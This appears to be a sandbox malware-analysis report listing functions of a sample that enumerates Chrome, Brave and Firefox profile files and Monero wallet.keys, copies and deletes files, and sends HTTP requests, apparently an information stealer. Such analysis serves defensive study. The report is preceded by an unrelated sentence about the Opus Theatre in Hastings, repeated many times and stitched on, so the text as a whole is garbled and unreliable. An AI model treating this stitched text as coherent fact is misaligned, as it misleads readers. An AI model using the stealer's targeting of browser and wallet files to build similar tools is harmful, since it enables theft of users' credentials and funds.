Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: 2ffc85f64e52bb73f042d7ab60b1cf6db1afc920b3e903cf6ff3ef616820eb7b
Instruction ID: 04098432ed4fecb448b29007daca077525f3e11cf708096dd68d69d34bb2f837
Opcode Fuzzy Hash: 2ffc85f64e52bb73f042d7ab60b1cf6db1afc920b3e903cf6ff3ef616820eb7b
Instruction Fuzzy Hash: C1418C607F26147AC62CB7E5B94EFFDB3525F42700FA0794BE82852286CBF9790C451A

Function 0040BE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(00420E17,00000000), ref: 0041A788

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcat.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A9B0: lstrlen.KERNEL32(?,013F8BD0,?,\Monero\wallet.keys,00420E17), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,00420E17), ref: 0041A905

FindFirstFileA.KERNEL32(00000000,?,00420B32,00420B2B,00000000,?,?,?,004213F4,00420B2A), ref: 0040BEF5
StrCmpCA.SHLWAPI(?,004213F8), ref: 0040BF4D
StrCmpCA.SHLWAPI(?,004213FC), ref: 0040BF63
FindNextFileA.KERNELBASE(000000FF,?), ref: 0040C7BF
FindClose.KERNEL32(000000FF), ref: 0040C7D1

Strings

Google Chrome, xrefs: 0040C634
Preferences, xrefs: 0040C11E
Brave, xrefs: 0040C102
\Brave\Preferences, xrefs: 0040C1DB

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: db1db7b102faa623a9dea393744796169be6bc0728e97b111a2ded7b396e119b
Instruction ID: 2d1308125da8926fdde3e90b6322e2b17ae592ee2aa58173b84b0ef8a3c681e1
Opcode Fuzzy Hash: db1db7b102faa623a9dea393744796169be6bc0728e97b111a2ded7b396e119b
Instruction Fuzzy Hash: 4E42B871910104ABCB14FB71DD96EED733DAF44304F40456EB50AA60C1EF389B99CBAA

Function 00414910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 0041492C
FindFirstFileA.KERNEL32(?,?), ref: 00414943
StrCmpCA.SHLWAPI(?,00420FDC), ref: 00414971
StrCmpCA.SHLWAPI(?,00420FE0), ref: 00414987
FindNextFileA.KERNEL32(000000FF,?), ref: 00414B7D
FindClose.KERNEL32(000000FF), ref: 00414B92

Strings

%s\%s, xrefs: 004149FB
%s\%s, xrefs: 004149A4
%s\*, xrefs: 00414920

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 7db1bd6b99f129a7baf5e6356d54d5008eff7bfba0ede0fcabf94eacabd72a2c
Instruction ID: f0ba0eb1991201f306808920aeaa9e90ed650eb79ad5a8a04d265ad4202cf965
Opcode Fuzzy Hash: 7db1bd6b99f129a7baf5e6356d54d5008eff7bfba0ede0fcabf94eacabd72a2c
Instruction Fuzzy Hash: E66175B5950218ABCB20EBE0DC45FEA73BDBB49700F40458DB50996181EB74EB85CF95

Function 00404880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004047B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00404839
Part of subcall function 004047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404849

Part of subcall function 0041A740: lstrcpy.KERNEL32(00420E17,00000000), ref: 0041A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404915
StrCmpCA.SHLWAPI(?,013FFA98), ref: 0040493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00404ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,00420DDB,00000000,?,?,00000000,?,",00000000,?,013FFAF8), ref: 00404DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00404E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00404E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00404E49
InternetCloseHandle.WININET(00000000), ref: 00404EAD
InternetCloseHandle.WININET(00000000), ref: 00404EC5
HttpOpenRequestA.WININET(00000000,013FFAE8,?,013FF490,00000000,00000000,00400100,00000000), ref: 00404B15

Part of subcall function 0041A9B0: lstrlen.KERNEL32(?,013F8BD0,?,\Monero\wallet.keys,00420E17), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,00420E17), ref: 0041A905

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcat.KERNEL32(00000000), ref: 0041A982

InternetCloseHandle.WININET(00000000), ref: 00404ECF

Strings

------, xrefs: 00404B28
", xrefs: 00404BF2
------, xrefs: 00404C69
", xrefs: 00404D33
------, xrefs: 004049BD

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 460715078-2180234286
Opcode ID: 5f404d6c7b0cf26d994a243ff8cf9d3561190d8db040f9edc666a14a9e9a2f36
Instruction ID: 3f466b8612cc2db17a5d9ea90efc92506b51061f54fe9a8e3d974c375c306076
Opcode Fuzzy Hash: 5f404d6c7b0cf26d994a243ff8cf9d3561190d8db040f9edc666a14a9e9a2f36
Instruction Fuzzy Hash: 10124EB1911118AADB14FB91DD92FEEB339AF14314F50419EB10672091DF382F9ACF6A

Function 00413EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00413EC3
FindFirstFileA.KERNEL32(?,?), ref: 00413EDA
StrCmpCA.SHLWAPI(?,00420FAC), ref: 00413F08
StrCmpCA.SHLWAPI(?,00420FB0), ref: 00413F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 0041406C
FindClose.KERNEL32(000000FF), ref: 00414081

Strings

%s\%s, xrefs: 00413EB7

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: a9c0067a63f5ca69df293e0f679f79f500185c2912aff45be14a038a63fb55ac
Instruction ID: d668781d41669175768d5c9beeab67687ce79b442868c28804f29fd14ebf2a74
Opcode Fuzzy Hash: a9c0067a63f5ca69df293e0f679f79f500185c2912aff45be14a038a63fb55ac
Instruction Fuzzy Hash: 475173B6910218BBCB24FBB0DC85FEA737DBB48304F40458DB61996180EB79DB858F95

Function 0040F6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(00420E17,00000000), ref: 0041A788

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcat.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A9B0: lstrlen.KERNEL32(?,013F8BD0,?,\Monero\wallet.keys,00420E17), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,00420E17), ref: 0041A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,004215B8,00420D96), ref: 0040F71E
StrCmpCA.SHLWAPI(?,004215BC), ref: 0040F76F
StrCmpCA.SHLWAPI(?,004215C0), ref: 0040F785
FindNextFileA.KERNELBASE(000000FF,?), ref: 0040FAB1
FindClose.KERNEL32(000000FF), ref: 0040FAC3

Strings

prefs.js, xrefs: 0040F812

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: 94570c93fac07dd6f89072b654b518843c48a862f9260affa6881dab1171d423
Instruction ID: 03b4e3240ed1b335229faca8164051f94e7388f89c5e809ad56520da5e6b4575
Opcode Fuzzy Hash: 94570c93fac07dd6f89072b654b518843c48a862f9260affa6881dab1171d423
Instruction Fuzzy Hash: B0B194719011089BCB24FF61DD51FEE7379AF54304F4081BEA40A96191EF389B9ACF9A

Function 004016D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(00420E17,00000000), ref: 0041A788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,0042510C,?,?,?,004251B4,?,?,00000000,?,00000000), ref: 00401923
StrCmpCA.SHLWAPI(?,0042525C), ref: 00401973
StrCmpCA.SHLWAPI(?,00425304), ref: 00401989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00401D40
DeleteFileA.KERNEL32(00000000), ref: 00401DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 00401E20
FindClose.KERNEL32(000000FF), ref: 00401E32

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcat.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A9B0: lstrlen.KERNEL32(?,013F8BD0,?,\Monero\wallet.keys,00420E17), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,00420E17), ref: 0041A905

Strings

\*.*, xrefs: 004017F1

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: e353d7b9bb030cb78d9ef4839630c6131c1d9bef1f6dff83d36add1e0b52442a
Instruction ID: 39d00e11cde3818330ac08f623c81c852c64dcafcc1d6f8b5eceb62ce14d4984
Opcode Fuzzy Hash: e353d7b9bb030cb78d9ef4839630c6131c1d9bef1f6dff83d36add1e0b52442a
Instruction Fuzzy Hash: F51260719111189BCB15FB61CD96EEE7338AF14314F4045AEB10A62091EF386FDACFA9

Function 0040DA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(00420E17,00000000), ref: 0041A788

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcat.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A9B0: lstrlen.KERNEL32(?,013F8BD0,?,\Monero\wallet.keys,00420E17), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,00420E17), ref: 0041A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,004214B0,00420C2A), ref: 0040DAEB
StrCmpCA.SHLWAPI(?,004214B4), ref: 0040DB33
StrCmpCA.SHLWAPI(?,004214B8), ref: 0040DB49
